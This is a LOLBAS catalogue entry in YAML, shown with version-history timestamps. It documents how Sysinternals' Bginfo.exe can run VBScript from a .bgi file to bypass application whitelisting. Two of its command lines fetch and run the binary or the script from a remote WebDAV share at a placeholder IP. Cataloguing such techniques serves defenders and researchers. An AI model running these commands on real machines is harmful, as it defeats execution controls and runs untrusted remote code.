LOLBAS/yml/OtherMSBinaries/Bginfo.yml

40 lines
1.4 KiB
YAML
Raw Normal View History

2018-06-09 00:15:06 +02:00
---
Name: Bginfo.exe
2018-09-19 05:06:22 +02:00
Description: Background Information Utility included with SysInternals Suite
Author: 'Oddvar Moe'
2018-06-09 00:15:06 +02:00
Created: '2018-05-25'
Commands:
- Command: bginfo.exe bginfo.bgi /popup /nolicprompt
Description: Execute VBscript code that is referenced within the bginfo.bgi file.
2018-09-19 05:06:22 +02:00
Usecase: Local execution of VBScript
Category: AWL Bypass
2018-09-19 05:06:22 +02:00
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows
2018-06-09 00:15:06 +02:00
- Command: '"\\10.10.10.10\webdav\bginfo.exe" bginfo.bgi /popup /nolicprompt'
2018-09-19 05:06:22 +02:00
Usecase: Remote execution of VBScript
2018-06-09 00:15:06 +02:00
Description: Execute bginfo.exe from a WebDAV server.
Category: AWL Bypass
2018-09-19 05:06:22 +02:00
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows
2018-06-09 00:15:06 +02:00
- Command: '"\\live.sysinternals.com\Tools\bginfo.exe" \\10.10.10.10\webdav\bginfo.bgi /popup /nolicprompt'
2018-09-19 05:06:22 +02:00
Usecase: Remote execution of VBScript
2018-06-09 00:15:06 +02:00
Description: This style of execution may not longer work due to patch.
Category: AWL Bypass
2018-09-19 05:06:22 +02:00
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows
2018-06-09 00:15:06 +02:00
Full Path:
- No fixed path
Code Sample: []
Detection: []
Resources:
- https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/
2018-09-19 05:06:22 +02:00
Acknowledgement:
- Person: Oddvar Moe
Handle: '@oddvarmoe'